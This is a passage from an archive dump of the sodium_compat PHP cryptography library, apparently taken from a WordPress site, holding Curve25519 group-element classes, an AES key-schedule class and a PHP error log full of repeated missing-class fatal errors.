                $this->e0, $this->e1, $this->e2, $this->e3, $this->e4,
                $this->e5, $this->e6, $this->e7, $this->e8, $this->e9
            ))
        );
    }
}
Core/Curve25519/.htaccess000064400000000000152222652550010720 0ustar00Core/Curve25519/README.md000064400000000332152222652550010411 0ustar00# Curve25519 Data Structures

These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h).
Core/Curve25519/Ge/P3.php000064400000004312152222652550010462 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P3', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P3
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P3
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P3 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $t
     */
    public function __construct(
        $x = null,
        $y = null,
        $z = null,
        $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($x instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 1 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($t instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->T = $t;
    }
}
Core/Curve25519/Ge/P2.php000064400000003375152222652550010471 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P2', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P2
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P2
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P2 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     */
    public function __construct(
        $x = null,
        $y = null,
        $z = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($x instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 1 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Z = $z;
    }
}
Core/Curve25519/Ge/P1p1.php000064400000004321152222652550010721 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P1p1', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $t
     */
    public function __construct(
        $x = null,
        $y = null,
        $z = null,
        $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($x instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 1 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($t instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->T = $t;
    }
}
Core/Curve25519/Ge/Precomp.php000064400000003562152222652550011613 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_Precomp', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $yplusx;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $yminusx;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $xy2d;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_Precomp constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $yplusx
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $yminusx
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $xy2d
     */
    public function __construct(
        $yplusx = null,
        $yminusx = null,
        $xy2d = null
    ) {
        if ($yplusx === null) {
            $yplusx = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($yplusx instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 1 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->yplusx = $yplusx;
        if ($yminusx === null) {
            $yminusx = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($yminusx instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->yminusx = $yminusx;
        if ($xy2d === null) {
            $xy2d = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($xy2d instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->xy2d = $xy2d;
    }
}
Core/Curve25519/Ge/.htaccess000064400000000000152222652550011253 0ustar00Core/Curve25519/Ge/Cached.php000064400000004502152222652550011350 0ustar00<?php


if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_Cached', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_Cached
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_Cached
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $YplusX;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $YminusX;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T2d;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_Cached constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $YplusX
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $YminusX
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $Z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $T2d
     */
    public function __construct(
        $YplusX = null,
        $YminusX = null,
        $Z = null,
        $T2d = null
    ) {
        if ($YplusX === null) {
            $YplusX = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($YplusX instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 1 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->YplusX = $YplusX;
        if ($YminusX === null) {
            $YminusX = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($YminusX instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->YminusX = $YminusX;
        if ($Z === null) {
            $Z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->Z = $Z;
        if ($T2d === null) {
            $T2d = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        if (!($T2d instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) {
            throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe');
        }
        $this->T2d = $T2d;
    }
}
Core/AES/KeySchedule.php000064400000003531152222652550010772 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES_KeySchedule', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_KeySchedule
{
    /** @var array<int, int> $skey -- has size 120 */
    protected $skey;

    /** @var bool $expanded */
    protected $expanded = false;

    /** @var int $numRounds */
    private $numRounds;

    /**
     * @param array $skey
     * @param int $numRounds
     */
    public function __construct(array $skey, $numRounds = 10)
    {
        $this->skey = $skey;
        $this->numRounds = $numRounds;
    }

    /**
     * Get a value at an arbitrary index. Mostly used for unit testing.
     *
     * @param int $i
     * @return int
     */
    public function get($i)
    {
        return $this->skey[$i];
    }

    /**
     * @return int
     */
    public function getNumRounds()
    {
        return $this->numRounds;
    }

    /**
     * @param int $offset
     * @return ParagonIE_Sodium_Core_AES_Block
     */
    public function getRoundKey($offset)
    {
        return ParagonIE_Sodium_Core_AES_Block::fromArray(
            array_slice($this->skey, $offset, 8)
        );
    }

    /**
     * Return an expanded key schedule
     *
     * @return ParagonIE_Sodium_Core_AES_Expanded
     */
    public function expand()
    {
        $exp = new ParagonIE_Sodium_Core_AES_Expanded(
            array_fill(0, 120, 0),
            $this->numRounds
        );
        $n = ($exp->numRounds + 1) << 2;
        for ($u = 0, $v = 0; $u < $n; ++$u, $v += 2) {
            $x = $y = $this->skey[$u];
            $x &= 0x55555555;
            $exp->skey[$v] = ($x | ($x << 1)) & ParagonIE_Sodium_Core_Util::U32_MAX;
            $y &= 0xAAAAAAAA;
            $exp->skey[$v + 1] = ($y | ($y >> 1)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        }
        return $exp;
    }
}
Core/AES/error_log000064400000044670152222652550010002 0ustar00[16-Nov-2024 04:25:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[17-Nov-2024 02:11:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[02-Feb-2025 02:14:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[22-Feb-2025 06:19:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[29-Mar-2025 10:00:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[13-May-2025 10:01:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[13-May-2025 10:01:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[13-May-2025 10:01:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[13-May-2025 10:01:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-May-2025 12:00:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-May-2025 12:00:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-May-2025 12:00:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-May-2025 12:00:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-May-2025 14:30:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-May-2025 14:30:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-May-2025 14:30:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-May-2025 14:30:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[18-Jun-2025 16:55:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[19-Jul-2025 09:10:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[20-Aug-2025 23:27:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[21-Aug-2025 21:44:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[26-Aug-2025 06:27:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[26-Aug-2025 06:36:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[04-Sep-2025 00:44:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[04-Sep-2025 01:02:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[06-Sep-2025 01:56:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[06-Sep-2025 02:04:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[09-Sep-2025 17:45:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[09-Sep-2025 17:56:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-Sep-2025 15:09:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[14-Sep-2025 15:18:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[18-Sep-2025 17:16:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[19-Sep-2025 06:35:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[19-Sep-2025 06:48:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[22-Sep-2025 12:45:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[22-Sep-2025 12:59:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[25-Sep-2025 22:01:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[25-Sep-2025 22:13:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[02-Oct-2025 10:42:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[02-Oct-2025 10:50:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[02-Nov-2025 08:31:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[02-Nov-2025 08:41:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[06-Dec-2025 18:49:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[06-Dec-2025 18:59:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[23-Dec-2025 11:46:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[23-Dec-2025 12:03:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
[24-Dec-2025 15:01:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES_KeySchedule' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES/Expanded.php on line 10
